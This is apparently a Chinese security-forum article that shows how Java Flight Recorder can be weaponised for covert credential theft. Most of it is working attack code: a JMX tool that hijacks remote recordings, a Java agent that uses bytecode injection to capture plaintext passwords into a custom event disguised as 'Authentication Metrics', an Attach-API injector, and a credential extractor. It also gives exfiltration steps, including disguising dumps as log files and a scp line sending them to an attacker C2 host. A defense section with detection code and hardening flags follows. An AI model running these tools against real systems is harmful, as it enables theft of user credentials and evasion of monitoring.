Java Flight Recorder 事件注入与隐蔽数据外泄
漏洞分析
JFR(Java Flight Recorder)是JDK内建的生产级事件录制引擎,广泛部署于线上Java服务的性能诊断场景。它的低开销设计、自定义事件能力,以及通过JMX进行远程操控的接口,使其成为一个极易被忽视的隐蔽数据外泄通道。
0x01 JFR 运行机制 ------------- JFR 自 JDK 11 起随 OpenJDK 开源,是 HotSpot VM 内嵌的事件录制引擎。它的设计目标是在生产环境持续开启,性能损耗控制在 1% 以内。理解其工作模型是后续攻击手法的前提。 ### 1.1 核心架构 JFR 的数据流路径:  > 每个线程拥有独立的环形缓冲区,事件写入时无需加锁,这是其低开销的关键。全局缓冲区负责汇聚各线程数据,最终持久化到磁盘上的 `.jfr` 文件。 ### 1.2 关键组件 | | | | |---|---|---| | 组件 | 类/接口 | 作用 | | Event | `jdk.jfr.Event` | 事件基类,所有可录制事件的父类 | | Recording | `jdk.jfr.Recording` | 控制录制的生命周期(创建、启动、停止、转储) | | FlightRecorder | `jdk.jfr.FlightRecorder` | JFR 引擎的入口,管理所有活跃 Recording | | FlightRecorderMXBean | `jdk.management.jfr.FlightRecorderMXBean` | JMX 暴露的远程管理接口,支持通过网络操控录制 | | RecordingFile | `jdk.jfr.consumer.RecordingFile` | 离线解析 `.jfr` 文件 | ### 1.3 两个入口 入口一:FlightRecorderMXBean(远程) 当目标 JVM 开启 JMX 远程端口时,攻击者可通过该 MXBean 远程启动录制、配置采集事件、下载 `.jfr` 数据——整个过程无需在目标机器上落地任何文件。 入口二:自定义事件 + Java Agent(本地/半远程) JFR 允许开发者继承 `jdk.jfr.Event` 定义自定义事件类型。攻击者通过 Attach API 注入 Agent 后,可注册精心设计的自定义事件,精准捕获方法参数、返回值等敏感运行时数据,并将其混入合法的 JFR 事件流中。 0x02 实验环境 --------- | | | |---|---| | 组件 | 版本/说明 | | 操作系统 | Kali Linux 2026.1 | | JDK | OpenJDK 21 | | 目标应用 | 自编写模拟业务服务(见下文) | | 网络 | 本机回环 127.0.0.1 | ### 2.1 安装 JDK 21 Kali 默认不携带 JDK 21,需要手动安装: ```php java -version javac -version ```  0x03 目标应用搭建 ----------- ### 3.1 创建工作目录 ```php mkdir -p ~/jfr-lab && cd ~/jfr-lab ``` ### 3.2 目标服务源码 `VulnBankService.java`: ```php import com.sun.net.httpserver.HttpServer; import com.sun.net.httpserver.HttpExchange; import java.io.*; import java.net.InetSocketAddress; import java.nio.charset.StandardCharsets; import java.security.MessageDigest; import java.util.HexFormat; import java.util.Map; import java.util.concurrent.ConcurrentHashMap; public class VulnBankService { // 模拟用户数据库:用户名 -> 密码SHA-256 private static final Map<String, String> USER_DB = new ConcurrentHashMap<>(); static { USER_DB.put("admin", sha256("P@ssw0rd_2024!")); USER_DB.put("zhangsan", sha256("zhangsan#Secure9")); USER_DB.put("operator", sha256("0p3r@t0r_Key")); } public static void main(String[] args) throws Exception { int port = 8080; HttpServer server = HttpServer.create(new InetSocketAddress(port), 0); server.createContext("/login", VulnBankService::handleLogin); server.createContext("/transfer", VulnBankService::handleTransfer); server.setExecutor(null); server.start(); System.out.println("[*] VulnBankService started on port " + port); System.out.println("[*] PID: " + ProcessHandle.current().pid()); } /** * 处理登录请求 * POST /login body: username=xxx&password=xxx */ private static void handleLogin(HttpExchange exchange) throws IOException { if (!"POST".equals(exchange.getRequestMethod())) { sendResponse(exchange, 405, "Method Not Allowed"); return; } String body = new String(exchange.getRequestBody().readAllBytes(), StandardCharsets.UTF_8); Map<String, String> params = parseForm(body); String username = params.getOrDefault("username", ""); String password = params.getOrDefault("password", ""); // ★ 关键点:此处 password 为明文,驻留在栈帧和堆中 boolean authenticated = authenticate(username, password); if (authenticated) { String token = HexFormat.of().formatHex( sha256Raw(username + System.nanoTime())); sendResponse(exchange, 200, "{\"status\":\"ok\",\"token\":\"" + token + "\"}"); } else { sendResponse(exchange, 401, "{\"status\":\"fail\"}"); } } /** * 模拟转账接口 * POST /transfer body: from=xxx&to=xxx&amount=xxx&token=xxx */ private static void handleTransfer(HttpExchange exchange) throws IOException { if (!"POST".equals(exchange.getRequestMethod())) { sendResponse(exchange, 405, "Method Not Allowed"); return; } String body = new String(exchange.getRequestBody().readAllBytes(), StandardCharsets.UTF_8); Map<String, String> params = parseForm(body); String token = params.getOrDefault("token", ""); String from = params.getOrDefault("from", ""); String to = params.getOrDefault("to", ""); String amount = params.getOrDefault("amount", "0"); // 简化处理:仅验证 token 非空 if (token.isEmpty()) { sendResponse(exchange, 403, "{\"status\":\"unauthorized\"}"); return; } System.out.printf("[TRANSFER] %s -> %s : ¥%s%n", from, to, amount); sendResponse(exchange, 200, "{\"status\":\"ok\",\"msg\":\"transfer success\"}"); } private static boolean authenticate(String username, String password) { String stored = USER_DB.get(username); if (stored == null) return false; return stored.equals(sha256(password)); } private static String sha256(String input) { return HexFormat.of().formatHex(sha256Raw(input)); } private static byte[] sha256Raw(String input) { try { MessageDigest md = MessageDigest.getInstance("SHA-256"); return md.digest(input.getBytes(StandardCharsets.UTF_8)); } catch (Exception e) { throw new RuntimeException(e); } } private static Map<String, String> parseForm(String body) { Map<String, String> map = new ConcurrentHashMap<>(); for (String pair : body.split("&")) { String[] kv = pair.split("=", 2); if (kv.length == 2) { map.put(kv[0].trim(), kv[1].trim()); } } return map; } private static void sendResponse(HttpExchange exchange, int code, String body) throws IOException { byte[] bytes = body.getBytes(StandardCharsets.UTF_8); exchange.getResponseHeaders().set("Content-Type", "application/json; charset=utf-8"); exchange.sendResponseHeaders(code, bytes.length); try (OutputStream os = exchange.getResponseBody()) { os.write(bytes); } } } ``` ### 3.3 编译与启动 打开第一个终端窗口,编译并启动目标服务: ```php cd ~/jfr-lab javac VulnBankService.java ```  以开启JMX远程端口的方式启动(模拟生产环境配置不当) ```php java \ -Dcom.sun.management.jmxremote \ -Dcom.sun.management.jmxremote.port=9010 \ -Dcom.sun.management.jmxremote.rmi.port=9010 \ -Dcom.sun.management.jmxremote.authenticate=false \ -Dcom.sun.management.jmxremote.ssl=false \ -Djava.rmi.server.hostname=127.0.0.1 \ VulnBankService ```  记下输出中的 PID:181415 ,后续 Agent 注入时需要使用。 `jmxremote.authenticate=false` 是生产环境中常见的错误配置。在内网渗透中,通过端口扫描发现 JMX 端口后即可无认证接入。 0x04 攻击手法一:JMX 远程 JFR 录制劫持 -------------------------- 这是门槛最低的攻击路径。攻击者仅需网络可达目标 JMX 端口,无需在目标机器上执行任何操作。本节在同一台 Kali 上演示,JMX 连接目标为 `127.0.0.1:9010`。 ### 4.1 攻击原理  `FlightRecorderMXBean` 暴露了录制生命周期的全部操作。攻击者通过 JMX 连接后,可以: 1. 创建一个新的 Recording 2. 配置采集 `jdk.SocketRead`、`jdk.SocketWrite`(网络I/O内容)、`jdk.JavaMonitorEnter`(锁竞争信息)、`jdk.ObjectAllocationInNewTLAB`(对象分配)等事件 3. 启动录制,等待目标应用处理业务请求 4. 将 `.jfr` 数据流式拉取到攻击机本地 ### 4.2 攻击工具:JFR Hijacker 打开第二个终端窗口,在 `~/jfr-lab` 目录下编写以下工具。 `JfrHijacker.java`: ```php import javax.management.MBeanServerConnection; import javax.management.ObjectName; import javax.management.remote.JMXConnector; import javax.management.remote.JMXConnectorFactory; import javax.management.remote.JMXServiceURL; import javax.management.JMX; import jdk.management.jfr.FlightRecorderMXBean; import java.io.FileOutputStream; import java.nio.file.Files; import java.nio.file.Path; /** * JFR远程录制劫持工具 * 通过JMX远程接口操控目标JVM的Flight Recorder */ public class JfrHijacker { private static final String MXBEAN_NAME = "jdk.management.jfr:type=FlightRecorder"; public static void main(String[] args) throws Exception { if (args.length < 2) { System.out.println( "Usage: java JfrHijacker <target_host> <jmx_port> [duration_sec]"); System.exit(1); } String host = args[0]; int port = Integer.parseInt(args[1]); int durationSec = args.length > 2 ? Integer.parseInt(args[2]) : 30; String jmxUrl = String.format( "service:jmx:rmi:///jndi/rmi://%s:%d/jmxrmi", host, port); System.out.println("[*] Connecting to " + jmxUrl); JMXServiceURL url = new JMXServiceURL(jmxUrl); try (JMXConnector connector = JMXConnectorFactory.connect(url)) { MBeanServerConnection conn = connector.getMBeanServerConnection(); ObjectName beanName = new ObjectName(MXBEAN_NAME); // 通过MXBean代理方式调用,自动处理类型转换 FlightRecorderMXBean jfrBean = JMX.newMXBeanProxy( conn, beanName, FlightRecorderMXBean.class); // Step 1: 创建录制 long recordingId = jfrBean.newRecording(); System.out.println("[+] Created recording, ID=" + recordingId); // Step 2: 配置要采集的事件 String config = buildRecordingConfig(); jfrBean.setConfiguration(recordingId, config); System.out.println("[+] Configuration applied"); // Step 3: 启动录制 jfrBean.startRecording(recordingId); System.out.printf("[+] Recording started, collecting for %ds...%n", durationSec); // Step 4: 等待采集 Thread.sleep(durationSec * 1000L); // Step 5: 停止录制 jfrBean.stopRecording(recordingId); System.out.println("[+] Recording stopped"); // Step 6: 通过流式接口将JFR数据拉取到本地 long streamId = jfrBean.openStream(recordingId, null); String outFile = "hijacked_" + System.currentTimeMillis() + ".jfr"; try (FileOutputStream fos = new FileOutputStream(outFile)) { byte[] chunk; while ((chunk = jfrBean.readStream(streamId)) != null) { fos.write(chunk); } } jfrBean.closeStream(streamId); // Step 7: 关闭并清理录制 jfrBean.closeRecording(recordingId); long fileSize = Files.size(Path.of(outFile)); System.out.printf("[+] JFR data saved to %s (%d bytes)%n", outFile, fileSize); System.out.println("[+] Done. Use JfrDataExtractor to parse."); } } /** * 构建JFR录制配置(JFC XML格式) * 精选高情报价值的事件类型 */ private static String buildRecordingConfig() { return """ <?xml version="1.0" encoding="UTF-8"?> <configuration version="2.0" label="Hijack Profile" provider="custom"> <event name="jdk.ThreadStart"> <setting name="enabled">true</setting> </event> <event name="jdk.ThreadEnd"> <setting name="enabled">true</setting> </event> <event name="jdk.JavaMonitorEnter"> <setting name="enabled">true</setting> <setting name="stackTrace">true</setting> <setting name="threshold">0 ms</setting> </event> <event name="jdk.ClassLoad"> <setting name="enabled">true</setting> <setting name="stackTrace">true</setting> </event> <event name="jdk.SocketRead"> <setting name="enabled">true</setting> <setting name="stackTrace">true</setting> <setting name="threshold">0 ms</setting> </event> <event name="jdk.SocketWrite"> <setting name="enabled">true</setting> <setting name="stackTrace">true</setting> <setting name="threshold">0 ms</setting> </event> <event name="jdk.FileRead"> <setting name="enabled">true</setting> <setting name="stackTrace">true</setting> <setting name="threshold">0 ms</setting> </event> <event name="jdk.FileWrite"> <setting name="enabled">true</setting> <setting name="stackTrace">true</setting> <setting name="threshold">0 ms</setting> </event> <event name="jdk.ThreadSleep"> <setting name="enabled">true</setting> <setting name="stackTrace">true</setting> </event> <event name="jdk.ExecutionSample"> <setting name="enabled">true</setting> <setting name="period">10 ms</setting> </event> </configuration> """; } } ``` ### 4.3 编译与执行 编译 ```php cd ~/jfr-lab javac JfrHijacker.java ```  执行 ```php java JfrHijacker 127.0.0.1 9010 60 ```  在采集窗口期间,打开第三个终端,模拟正常业务流量: ```php for i in $(seq 1 5); do curl -s -X POST http://127.0.0.1:8080/login \ -d "username=admin&password=P@ssw0rd_2024!" & curl -s -X POST http://127.0.0.1:8080/login \ -d "username=zhangsan&password=zhangsan#Secure9" & done wait echo "[*] Simulated login traffic done" ```  第二个终端中 JfrHijacker 的执行输出:  ### 4.4 手法分析 1. 零文件落地(对目标机):攻击者通过JMX网络接口操作,所有JFR数据通过`readStream`流式传输到攻击机,目标磁盘上仅有JVM内部临时缓冲 2. 无进程创建:不需要在目标机器上启动任何新进程,完全通过已有JVM进程内的JFR引擎完成 3. 流量伪装:JMX/RMI通信在内网中属于常规运维流量,很少被安全设备重点监控 4. 内建能力:利用的是JDK自带功能,不需要上传任何工具 JFR的 `jdk.SocketRead`/`jdk.SocketWrite` 事件虽然不直接记录网络报文原文内容,但会记录读写的字节数、远端地址、调用栈等元数据。这些元数据结合 `jdk.ExecutionSample`(采样调用栈)已经可以还原出大量业务行为模式。 > 要获取更精准的运行时数据(如方法参数中的明文密码),需要结合下一节的 Agent 注入手法。 0x05 攻击手法二:Agent 注入与自定义 JFR 事件窃取 -------------------------------- 上一节的 JMX 劫持能采集到 JDK 内建事件(网络I/O元数据、线程活动等),但无法直接捕获业务层的明文数据(如登录密码、转账金额)。 > 本节通过 Java Agent 注入自定义 JFR 事件,精准截获目标方法的参数和返回值。 ### 5.1 攻击流程  ### 5.2 自定义 JFR 事件类 `CredentialCaptureEvent.java`: ```php import jdk.jfr.*; /** * 自定义JFR事件:捕获认证方法的参数 * 使用无害的名称和分类,混入正常JFR事件流中 */ @Name("app.AuthMetrics") @Label("Authentication Metrics") @Category({"Application", "Security Audit"}) @Description("Records authentication attempt metrics") @StackTrace(false) public class CredentialCaptureEvent extends Event { @Label("Principal") public String principal; // 实际存储用户名 @Label("Entropy Value") public String entropy; // 实际存储密码明文 @Label("Source Address") public String sourceAddr; // 来源IP @Label("Result Code") public int resultCode; // 认证结果 } ``` ### 5.3 Agent 主体 Agent 通过 `Instrumentation.retransformClasses()` 触发目标类的重新加载,配合自定义 `ClassFileTransformer` 在字节码层面注入 JFR 事件提交逻辑。 `StealerAgent.java`: ```php import java.lang.instrument.Instrumentation; import jdk.jfr.FlightRecorder; import jdk.jfr.Recording; import java.nio.file.Paths; import java.time.Instant; /** * JFR 窃取 Agent 主类 * 通过 premain 注入 Transformer,并启动后台导出任务 */ public class StealerAgent { public static void premain(String agentArgs, Instrumentation inst) { System.out.println("[Agent] StealerAgent loaded."); // 注册自定义 Transformer inst.addTransformer(new AuthCaptureTransformer(), true); // 触发 VulnBankService 类的重定义 try { Class<?> targetClass = Class.forName("VulnBankService"); inst.retransformClasses(targetClass); System.out.println("[Agent] Retransformed VulnBankService"); } catch (Exception e) { System.err.println("[Agent] Retransform failed: " + e.getMessage()); e.printStackTrace(); } // 启动 JFR 数据导出线程(30秒后自动转储) startJfrDumper(); } /** * 后台线程:开启一个临时录制,采集 app.AuthMetrics 事件, * 并导出到 /tmp/.metrics_<timestamp>.dat */ private static void startJfrDumper() { Thread dumper = new Thread(() -> { try { Thread.sleep(30_000); // 等待业务请求触发事件 Recording recording = new Recording(); recording.enable("app.AuthMetrics"); recording.start(); // 再采集几秒确保事件已提交 Thread.sleep(5_000); recording.stop(); String fileName = "/tmp/.metrics_" + System.currentTimeMillis() + ".dat"; recording.dump(Paths.get(fileName)); recording.close(); System.out.println("[Agent] JFR dumped to " + fileName); } catch (Exception e) { System.err.println("[Agent] Dumper error: " + e.getMessage()); e.printStackTrace(); } }); dumper.setDaemon(true); dumper.start(); } /** * 静态方法,供字节码注入调用。 * 参数 username/password 会被填充到自定义事件中。 */ public static void captureCredential(String username, String password) { CredentialCaptureEvent event = new CredentialCaptureEvent(); event.principal = username; event.entropy = password; event.sourceAddr = "local"; event.resultCode = -1; event.commit(); } } ``` ### 5.4 字节码注入 Transformer 在 `authenticate` 方法的字节码开头插入三条指令——`aload_0`、`aload_1`、`invokestatic StealerAgent.captureCredential`,将方法的前两个参数传递给窃取函数。 `AuthCaptureTransformer.java`: ```php import javassist.*; import java.lang.instrument.ClassFileTransformer; import java.security.ProtectionDomain; public class AuthCaptureTransformer implements ClassFileTransformer { @Override public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) { if (className == null || !className.equals("VulnBankService")) { return null; } System.out.println("[Transformer] Processing VulnBankService"); try { ClassPool cp = ClassPool.getDefault(); CtClass ct = cp.get("VulnBankService"); CtMethod method = ct.getDeclaredMethod("authenticate"); method.insertBefore("StealerAgent.captureCredential($1, $2);"); byte[] bytecode = ct.toBytecode(); ct.detach(); System.out.println("[Transformer] Injection complete"); return bytecode; } catch (Exception e) { System.err.println("[Transformer] Failed: " + e.getMessage()); e.printStackTrace(); return null; } } } ``` ### 5.5 打包 Agent JAR 在 `~/jfr-lab` 目录下创建 `MANIFEST.MF` 文件: ```php Agent-Class: StealerAgent Can-Redefine-Classes: true Can-Retransform-Classes: true Boot-Class-Path: javassist-3.29.2-GA.jar ``` > MANIFEST.MF 文件末尾必须保留一个空行,否则 jar 工具会忽略最后一行属性。 编译Agent相关的三个类 ```php javac CredentialCaptureEvent.java \ AuthCaptureTransformer.java \ StealerAgent.java ```  打包为Agent JAR ```php jar cfm stealer-agent.jar MANIFEST.MF StealerAgent.class AuthCaptureTransformer.class CredentialCaptureEvent.class ``` ### 5.6 注入 Agent 在第二个终端中(确保 JfrHijacker 已完成或使用新终端),编写注入器并执行 Agent 注入。 `AgentInjector.java`: ```php import com.sun.tools.attach.VirtualMachine; /** * 通过Attach API向目标JVM注入Agent */ public class AgentInjector { public static void main(String[] args) throws Exception { if (args.length < 2) { System.out.println("Usage: java AgentInjector <pid> <agent.jar>"); System.exit(1); } String pid = args[0]; String agentPath = args[1]; System.out.println("[*] Attaching to PID " + pid); VirtualMachine vm = VirtualMachine.attach(pid); System.out.println("[*] Loading agent: " + agentPath); vm.loadAgent(agentPath); System.out.println("[+] Agent injected successfully"); vm.detach(); } } ``` 编译注入器 ```php javac AgentInjector.java ```  启动 VulnBankService ```php java VulnBankService ```  查找目标JVM的PID ```php jps -l | grep VulnBankService ```  **PID: 203546** 注入Agent ```php java AgentInjector 203546 $(pwd)/stealer-agent.jar ```  > 此后,每当有用户请求 `/login` 接口,`authenticate()` 方法被调用时,明文凭据将以 JFR 事件的形式被静默记录。 在第三个终端中再次发送测试请求,触发凭据捕获: ```php # 发送登录请求,触发Agent捕获 curl -s -X POST http://127.0.0.1:8080/login \ -d "username=admin&password=P@ssw0rd_2026!" curl -s -X POST http://127.0.0.1:8080/login \ -d "username=zhangsan&password=zhangsan#Secure9" curl -s -X POST http://127.0.0.1:8080/login \ -d "username=operator&password=0p3r@t0r_Key" ```  等待约 30 秒后,Agent 后台线程会自动将 JFR 数据导出到 `/tmp` 目录:  Agent 后台线程会自动将 JFR 数据导出到 `/tmp` 目录: ```php ls -la /tmp/.metrics_*.dat ```  将导出的 `.dat` 文件复制到工作目录并重命名为 `.jfr` 后缀,用于后续解析: ```php cat /tmp/.metrics_*.dat > ~/jfr-lab/combined.jfr ``` 0x06 JFR 数据批量解析与敏感信息还原 ---------------------- 拿到 `.jfr` 文件后,需要从大量混杂的事件中精准提取窃取到的数据。 ### 6.1 解析工具 `JfrDataExtractor.java`: ```php import jdk.jfr.consumer.RecordedEvent; import jdk.jfr.consumer.RecordingFile; import java.nio.file.Path; import java.util.ArrayList; import java.util.List; /** * JFR数据解析器 * 从.jfr文件中提取自定义事件和高价值内建事件 */ public class JfrDataExtractor { // 高价值事件类型 private static final List<String> HIGH_VALUE_EVENTS = List.of( "app.AuthMetrics", // 自定义凭据捕获事件 "jdk.SocketRead", // 网络读 "jdk.SocketWrite", // 网络写 "jdk.FileRead", // 文件读 "jdk.FileWrite", // 文件写 "jdk.ExecutionSample" // CPU采样(含调用栈) ); public static void main(String[] args) throws Exception { if (args.length < 1) { System.out.println("Usage: java JfrDataExtractor <file.jfr>"); System.exit(1); } Path jfrPath = Path.of(args[0]); System.out.println("=".repeat(70)); System.out.println(" JFR Data Extractor - Sensitive Information Recovery"); System.out.println("=".repeat(70)); System.out.printf(" Source: %s%n%n", jfrPath); List<CredentialRecord> credentials = new ArrayList<>(); int totalEvents = 0; int networkEvents = 0; int fileEvents = 0; try (RecordingFile rf = new RecordingFile(jfrPath)) { while (rf.hasMoreEvents()) { RecordedEvent event = rf.readEvent(); totalEvents++; String eventName = event.getEventType().getName(); switch (eventName) { case "app.AuthMetrics" -> { String user = event.getString("principal"); String pass = event.getString("entropy"); String src = event.getString("sourceAddr"); int code = event.getInt("resultCode"); credentials.add( new CredentialRecord(user, pass, src, code, event.getStartTime())); } case "jdk.SocketRead", "jdk.SocketWrite" -> { networkEvents++; } case "jdk.FileRead", "jdk.FileWrite" -> { fileEvents++; } } } } // 输出统计 System.out.println("[Statistics]"); System.out.printf(" Total events parsed : %,d%n", totalEvents); System.out.printf(" Network I/O events : %,d%n", networkEvents); System.out.printf(" File I/O events : %,d%n", fileEvents); System.out.printf(" Captured credentials: %d%n%n", credentials.size()); // 输出捕获的凭据 if (!credentials.isEmpty()) { System.out.println("[Captured Credentials]"); System.out.println("-".repeat(70)); System.out.printf(" %-4s %-15s %-25s %-10s %s%n", "#", "Username", "Password", "Result", "Timestamp"); System.out.println("-".repeat(70)); int idx = 1; for (CredentialRecord cr : credentials) { System.out.printf(" %-4d %-15s %-25s %-10s %s%n", idx++, cr.username, cr.password, cr.resultCode == -1 ? "N/A" : String.valueOf(cr.resultCode), cr.timestamp); } System.out.println("-".repeat(70)); } System.out.println("\n[*] Extraction complete."); } record CredentialRecord( String username, String password, String sourceAddr, int resultCode, java.time.Instant timestamp ) {} } ``` ### 6.2 执行解析 在第二个终端中编译并运行解析器: ```php cd ~/jfr-lab javac JfrDataExtractor.java ``` 解析Agent导出的JFR文件 ```php java -cp . JfrDataExtractor "$latest" ```  明文密码被完整还原。 ### 6.3 使用 jfr 命令行工具辅助分析 JDK 自带 `jfr` 命令行工具,也可用于快速预览: ```php # 输出所有事件摘要 jfr summary captured.jfr # 按事件类型筛选打印 jfr print --events app.AuthMetrics captured.jfr # 导出为JSON格式(便于后续自动化处理) jfr print --json --events app.AuthMetrics captured.jfr > credentials.json ``` `jfr print` 对自定义事件的输出示例: ```php app.AuthMetrics { startTime = 2026-05-28T02:00:12.345678901Z principal = "admin" entropy = "P@ssw0rd_2024!" sourceAddr = "local" resultCode = -1 } ``` 0x07 .jfr 文件的外泄隐蔽性分析 -------------------- JFR 文件作为数据外泄载体,具备天然的隐蔽优势。本节分析其在各检测层面的规避能力。 ### 7.1 文件格式特征 `.jfr` 文件采用 JFR 私有二进制格式,文件头魔数为 `FLR\0`(`0x464C5200`)。 ```php # 查看文件头 xxd captured.jfr | head -3 ``` 输出:  主流杀毒引擎、DLP(数据防泄漏)产品、IDS/IPS 规则库中,均不包含对 `.jfr` 格式的深度内容检查规则。原因在于: - JFR 是合法的 JVM 诊断文件,生产环境中经常出现 - 其二进制格式未公开标准化(由 Oracle/OpenJDK 内部定义),第三方工具难以解析 - 文件内容压缩且分块存储,无法通过简单的字符串匹配发现敏感数据 ### 7.2 与常见外泄通道的对比 | | | | | | |---|---|---|---|---| | 外泄方式 | DLP检测率 | 杀软检测率 | 运维可见性 | 额外工具依赖 | | 明文HTTP外传 | 高 | - | 高 | 无 | | 加密压缩包 | 中 | 低 | 中 | zip/7z | | DNS隧道 | 中 | 低 | 低 | dnscat等 | | ICMP隧道 | 中 | 低 | 低 | ptunnel等 | | .jfr文件 | 极低 | 极低 | 极低 | 无(JDK内建) | ### 7.3 外泄路径 攻击者可通过以下方式将 `.jfr` 文件从目标环境中取出: 方式一:JMX远程流式读取 如 0x04 节所示,通过 `FlightRecorderMXBean.openStream()` / `readStream()` 直接从网络拉取 JFR 数据,目标磁盘上不留下持久化文件。 方式二:伪装为日志文件 ```php # 将.jfr文件伪装为普通日志 cp /tmp/.metrics_*.dat /var/log/gc_analysis_20260528.log # 实际渗透场景中通过SCP/SFTP传出到攻击者控制的服务器 # scp /var/log/gc_analysis_20260528.log attacker@<C2_IP>:/loot/ ``` 方式三:分片嵌入正常HTTP响应 在已控制的 Web 应用中,将 JFR 数据 Base64 编码后分片嵌入 HTTP 响应的自定义 Header 或 Cookie 中。这种方式流量混入正常业务,极难被检出。 0x08 检测与防御 ---------- ### 8.1 检测维度 维度一:JMX 端口暴露检测 ```php # 使用nmap扫描JMX端口(单机演示使用本机地址,实际环境替换为目标网段) nmap -sV -p 9010,9011,1099,1100 127.0.0.1 \ --script=rmi-dumpregistry # 检查JMX监听状态 ss -tlnp | grep java ``` JMX 无认证暴露是整条攻击链的前提。 维度二:活跃 JFR Recording 监控 在应用内部署 JFR 监控代码,发现非预期的活跃录制: ```php import jdk.jfr.FlightRecorder; import jdk.jfr.Recording; /** * JFR录制审计模块 * 可作为定时任务或健康检查端点集成到应用中 */ public class JfrAuditor { /** * 检查当前JVM中所有活跃的JFR录制 * 返回非预期录制的数量 */ public static int audit() { int suspicious = 0; for (Recording r : FlightRecorder.getFlightRecorder().getRecordings()) { String name = r.getName(); long id = r.getId(); var state = r.getState(); var settings = r.getSettings(); System.out.printf("[AUDIT] Recording #%d name='%s' state=%s%n", id, name, state); // 检测指标1:非应用创建的录制 if (name == null || name.isEmpty() || name.startsWith("Recording")) { System.out.printf( " [WARN] Unnamed/default recording detected (id=%d)%n", id); suspicious++; } // 检测指标2:录制了自定义事件 for (var entry : settings.entrySet()) { if (entry.getKey().startsWith("app.") || entry.getKey().startsWith("custom.")) { System.out.printf( " [ALERT] Custom event enabled: %s%n", entry.getKey()); suspicious++; } } // 检测指标3:敏感事件被启用 if (settings.containsKey("jdk.SocketRead#enabled") && "true".equals(settings.get("jdk.SocketRead#enabled"))) { System.out.printf( " [WARN] Network I/O recording enabled%n"); } } if (suspicious == 0) { System.out.println("[AUDIT] No suspicious recordings found."); } else { System.out.printf( "[AUDIT] %d suspicious indicator(s) detected!%n", suspicious); } return suspicious; } public static void main(String[] args) { audit(); } } ``` 维度三:Agent 加载检测 监控 `java.lang.instrument` 相关活动: ```php # 检查JVM启动参数中是否有非预期的Agent jcmd <pid> VM.system_properties | grep -i agent # 检查JVM flags jcmd <pid> VM.flags | grep -i agent # 通过/proc查看已加载的共享库 cat /proc/<pid>/maps | grep -i agent ``` 维度四:JFR 自定义事件类型审计 ```php # 列出JVM中所有已注册的JFR事件类型 jcmd <pid> JFR.check # 通过JFR本身记录Agent加载事件 # jdk.JavaAgent 事件会在Agent加载时触发(JDK 21+) jfr print --events jdk.JavaAgent recording.jfr ``` ### 8.2 防御加固 加固措施一:JMX 认证与访问控制 ```php # jmxremote.password 文件(权限600) monitorRole Monitor@2026! controlRole Control@2026! # jmxremote.access 文件 monitorRole readonly controlRole readwrite ``` 启动参数: ```php java \ -Dcom.sun.management.jmxremote \ -Dcom.sun.management.jmxremote.port=9010 \ -Dcom.sun.management.jmxremote.authenticate=true \ -Dcom.sun.management.jmxremote.password.file=/etc/java/jmxremote.password \ -Dcom.sun.management.jmxremote.access.file=/etc/java/jmxremote.access \ -Dcom.sun.management.jmxremote.ssl=true \ MainClass ``` 加固措施二:禁用动态 Agent 加载 JDK 21 引入了 `-XX:+DisableAttachMechanism` 的增强实现。此外,JDK 21 起对动态加载 Agent 默认发出警告(JEP 451),未来版本将默认禁止。 ```php # 禁用Attach机制 java -XX:+DisableAttachMechanism MainClass # JDK 21: 明确禁止动态Agent加载 java -XX:-EnableDynamicAgentLoading MainClass ``` 加固措施三:JFR 录制白名单 通过 `-XX:FlightRecorderOptions` 限制录制行为: ```php java \ -XX:FlightRecorderOptions=repository=/var/jfr,maxchunksize=8m \ MainClass ``` 配合操作系统层面的文件监控(inotify/auditd),对 JFR 仓库目录的异常写入进行告警: ```php # 使用auditd监控JFR仓库目录 auditctl -w /var/jfr -p war -k jfr_monitor ``` 加固措施四:网络层限制 JMX 端口 ```php # iptables规则:仅允许指定运维跳板机IP访问JMX端口 iptables -A INPUT -p tcp --dport 9010 \ -s <运维跳板机IP> -j ACCEPT iptables -A INPUT -p tcp --dport 9010 -j DROP ``` 0x09 写在最后 --------- JFR 是一个设计精良的诊断工具,正因如此,它在被武器化后也格外危险。自定义事件机制赋予了攻击者精确定义"想要什么数据"的能力,而二进制私有格式和合法工具身份又为数据外泄提供了天然掩护。 最关键的单一措施是 `-XX:-EnableDynamicAgentLoading`。这个 JVM 参数从 JDK 21 开始可用(JEP 451),它直接切断了 Agent 注入路径。JMX 认证和网络隔离作为纵深防御手段同样不可缺少,但动态 Agent 加载的禁用是阻断高价值数据被精确窃取的最有效控制点。 - - - - - - **本文所述技术仅用于安全研究和授权渗透测试。未经授权对他人系统实施本文所述行为属于违法行为,请严格遵守《中华人民共和国网络安全法》等相关法律法规。**
发表于 2026-07-16 09:00:00
阅读 ( 5070 )
分类:
漏洞分析
0 推荐
收藏
0 条评论
Dracarys
6 篇文章
×
温馨提示
您当前没有「奇安信攻防社区」的账号,注册后可获取更多的使用权限。
×
温馨提示
您当前没有「奇安信攻防社区」的账号,注册后可获取更多的使用权限。
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!